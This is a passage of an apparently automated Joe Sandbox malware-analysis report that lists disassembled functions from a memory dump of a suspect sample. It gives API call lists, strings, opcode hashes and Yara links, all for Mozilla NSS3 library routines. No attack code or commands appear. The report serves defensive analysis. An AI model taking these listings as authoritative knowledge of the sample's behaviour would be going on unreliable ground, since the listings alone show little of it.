Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: 387319f0e4e10073d3df49fb41dc4a6c0a7c187711b55ca835f72c1aea7e7b96
Instruction ID: d525901db5af90cb5368c69a710892b32b8be7ca8603a147bb3ccd652c351100
Opcode Fuzzy Hash: 387319f0e4e10073d3df49fb41dc4a6c0a7c187711b55ca835f72c1aea7e7b96
Instruction Fuzzy Hash: 2851F8B5D00204ABDB009F74EC459AA7778FF09358B088625EC18A7B11E731EDA8C7E1

Function 6CA14C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14D97
PR_Lock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DBA
PR_WaitCondVar.NSS3 ref: 6CA14DD4
PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14DEF

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 15d3143648a93f8a6ea9a39fe0f4470a7181c4c78855533f193a704dcbcdf311
Instruction ID: ae99fcfd8e42f3d82a06b45a49fbf49430a2ae8492d9c0f12af73b841b044839
Opcode Fuzzy Hash: 15d3143648a93f8a6ea9a39fe0f4470a7181c4c78855533f193a704dcbcdf311
Instruction Fuzzy Hash: 73416DB5A19A558FCB00AFBDE08455DBBB4BF05318F094A69D8989BB00E730D8D5CB81

Function 6CA9E910 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 149memorystringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,http://,00000007), ref: 6CA9E93B
PR_SetError.NSS3(FFFFE075,00000000), ref: 6CA9E94E
PORT_Alloc_Util.NSS3(00000001), ref: 6CA9E995
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA9E9A7
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 6CA9E9CA
PORT_Strdup_Util.NSS3(6CBD933E), ref: 6CA9EA17
PORT_Alloc_Util.NSS3(00000001), ref: 6CA9EA28

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CA9EA3C
free.MOZGLUE(?), ref: 6CA9EA69

Strings

http://, xrefs: 6CA9E935

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_memcpy$ErrorL_strncasecmpStrdup_Valuefreemallocstrtol
String ID: http://
API String ID: 3982757857-1121587658
Opcode ID: 15ccf3ba44153a41096603e71a56471715b2547d8f47b6318f24b5940e6ec42c
Instruction ID: 30c538101b2a9dd14e44d0c758b81d3d870b3c795027936bc342f0f20355f17d
Opcode Fuzzy Hash: 15ccf3ba44153a41096603e71a56471715b2547d8f47b6318f24b5940e6ec42c
Instruction Fuzzy Hash: 8F416C7496465A4BEF604AE88C437EAF7E5BB0731CF180021D8A497F53E21199C7C2E6

Function 6CADECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CADDE64), ref: 6CADED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CADED22

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PL_FreeArenaPool.NSS3(?), ref: 6CADED4A
PL_FinishArenaPool.NSS3(?), ref: 6CADED6B
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CADED38

Part of subcall function 6CA14C70: TlsGetValue.KERNEL32(?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14C97
Part of subcall function 6CA14C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CB0
Part of subcall function 6CA14C70: PR_Unlock.NSS3(?,?,?,?,?,6CA13921,6CBF14E4,6CB5CC70), ref: 6CA14CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CADED52
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CADED83
PL_FreeArenaPool.NSS3(?), ref: 6CADED95
PL_FinishArenaPool.NSS3(?), ref: 6CADED9D

Part of subcall function 6CAF64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CAF127C,00000000,00000000,00000000), ref: 6CAF650E

Strings

security, xrefs: 6CADED06

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: c0dab54fd4b6585f1a972a8093b708410038615e2722ff15db095d8d69e2b788
Instruction ID: acbf13c159c534494e6b54acc00a113cc1fba67a78107293003d9e6488cb052e
Opcode Fuzzy Hash: c0dab54fd4b6585f1a972a8093b708410038615e2722ff15db095d8d69e2b788
Instruction Fuzzy Hash: C9112779A002046BE7106A25AD44BBBB278AF0171DF060924F8A563F41FB35B69D86E7

Function 6CAC2CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CAC2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAC2D07

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CAC2D22

Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0B88
Part of subcall function 6CBA09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA0C5D
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C8D
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C9C
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0CD1
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0CEC
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0CFB
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0D16
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBA0D26
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D35
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBA0D65
Part of subcall function 6CBA09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBA0D70
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0D90
Part of subcall function 6CBA09D0: free.MOZGLUE(00000000), ref: 6CBA0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CAC2D3B

Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0BAB
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0BBA
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CAC2D54

Part of subcall function 6CBA09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBA0BCB
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0BDE
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0C16

Strings

slotID = 0x%x, xrefs: 6CAC2D02
pPin = 0x%p, xrefs: 6CAC2D1D
C_InitToken, xrefs: 6CAC2CE7
pLabel = 0x%p, xrefs: 6CAC2D4F
ulPinLen = %d, xrefs: 6CAC2D36

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: e400d27dc6254d176a7bac0ef5bff15ff663c0ee50afc72cb46f8375d033e470
Instruction ID: 2f8901b48dd9e4499e03b60909c45a945b187400fd7ee28857ae7efb6beb7c0f
Opcode Fuzzy Hash: e400d27dc6254d176a7bac0ef5bff15ff663c0ee50afc72cb46f8375d033e470
Instruction Fuzzy Hash: B421D3793011C0AFDB01AF54FE8CA993BB5EB52319F088121E51493722DB308D99CB63

Function 6CAC2AF0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismList), ref: 6CAC2B0C
PR_LogPrint.NSS3( pulCount = 0x%p,?), ref: 6CAC2B59

Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0BAB
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0BBA
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D7E

PR_LogPrint.NSS3( pMechanismList = 0x%p,?), ref: 6CAC2B3E

Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0B88
Part of subcall function 6CBA09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CBA0C5D
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CBA0C8D
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0C9C
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(?), ref: 6CBA0CD1
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CBA0CEC
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0CFB
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0D16
Part of subcall function 6CBA09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CBA0D26
Part of subcall function 6CBA09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CBA0D35
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CBA0D65
Part of subcall function 6CBA09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CBA0D70
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0D90
Part of subcall function 6CBA09D0: free.MOZGLUE(00000000), ref: 6CBA0D99

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CAC2B25

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

PR_LogPrint.NSS3( *pulCount = 0x%x,?), ref: 6CAC2BC0

Strings

slotID = 0x%x, xrefs: 6CAC2B20
pMechanismList = 0x%p, xrefs: 6CAC2B39
pulCount = 0x%p, xrefs: 6CAC2B54
C_GetMechanismList, xrefs: 6CAC2B07
*pulCount = 0x%x, xrefs: 6CAC2BBB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DebugOutputPrintStringfflush$fwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: *pulCount = 0x%x$ pMechanismList = 0x%p$ pulCount = 0x%p$ slotID = 0x%x$C_GetMechanismList
API String ID: 1342304006-3652739913
Opcode ID: c2ec8178e959aabd63be68815ffec1cddfc7b0fe05f95d697dd9f487128bff5d
Instruction ID: 9190e0f36d35cc327c8ac491d7849671751960f4b10b6ff87be2de7d3d883387
Opcode Fuzzy Hash: c2ec8178e959aabd63be68815ffec1cddfc7b0fe05f95d697dd9f487128bff5d
Instruction Fuzzy Hash: A621B379741181AFDB009F58FE8CE9937B5EB42329F084025E818A7721DB30DD98CB67

Function 6CBA0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CA82357), ref: 6CBA0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CA82357), ref: 6CBA0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CBA0EE6

Part of subcall function 6CBA09D0: PR_Now.NSS3 ref: 6CBA0A22
Part of subcall function 6CBA09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CBA0A35
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CBA0A66
Part of subcall function 6CBA09D0: PR_GetCurrentThread.NSS3 ref: 6CBA0A70
Part of subcall function 6CBA09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CBA0A9D
Part of subcall function 6CBA09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CBA0AC8
Part of subcall function 6CBA09D0: PR_vsmprintf.NSS3(?,?), ref: 6CBA0AE8
Part of subcall function 6CBA09D0: EnterCriticalSection.KERNEL32(?), ref: 6CBA0B19
Part of subcall function 6CBA09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CBA0B48
Part of subcall function 6CBA09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CBA0C76
Part of subcall function 6CBA09D0: PR_LogFlush.NSS3 ref: 6CBA0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CBA0EFA

Part of subcall function 6CA8AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CA8AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBA0F2B

Strings

Aborting, xrefs: 6CBA0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBA0ED9, 6CBA0EE5, 6CBA0F06, 6CBA0F0B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 4f1484c5cfdd2dfe46b83b3a09a7acd77e8178ea501b38ae86fa81a12b99f6ee
Instruction ID: 0be977a3f73f7476379215e569672a62bb06d9610ffe25a0be0c062c08508a77
Opcode Fuzzy Hash: 4f1484c5cfdd2dfe46b83b3a09a7acd77e8178ea501b38ae86fa81a12b99f6ee
Instruction Fuzzy Hash: 06F0C8B59002647BDE013BA0DC49C9B3E3DDF4A7B4F008424FD0957602DA76E92496B3

Function 6CB04DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CB04DCB

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CB04DE1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CB04DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB04E59

Part of subcall function 6CAEFAB0: free.MOZGLUE(?,-00000001,?,?,6CA8F673,00000000,00000000), ref: 6CAEFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CBC300C,00000000), ref: 6CB04EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CB04EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CB04F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CB0521A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: d97ef10c4f4d3cbb1211b4d1e2161965a03c4312f41a7929aeb340a57ec19a87
Instruction ID: d431e8de08bb43ecacb8514916998daa1a08ab59271b8c18242f3ee9516ad88f
Opcode Fuzzy Hash: d97ef10c4f4d3cbb1211b4d1e2161965a03c4312f41a7929aeb340a57ec19a87
Instruction Fuzzy Hash: 18F1BC71F002498BDB08CF54D8407AEBBB2FF44358F254129E815ABB81EB75E986CF95

Function 6CB16BA0 Relevance: 16.7, APIs: 11, Instructions: 248COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,?,?,?,?,?,?,?,6CB20293), ref: 6CB16BC2
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CB16C13
NSS_GetAlgorithmPolicy.NSS3(?), ref: 6CB16C39
NSS_GetAlgorithmPolicy.NSS3(?,?), ref: 6CB16C6C
NSS_GetAlgorithmPolicy.NSS3(00000146,?), ref: 6CB16CAB
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CB16CEE
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CB16D2A
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CB16D6D
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CB16DBD
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CB16E13
PR_SetError.NSS3(FFFFD016,00000000), ref: 6CB16EE9

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
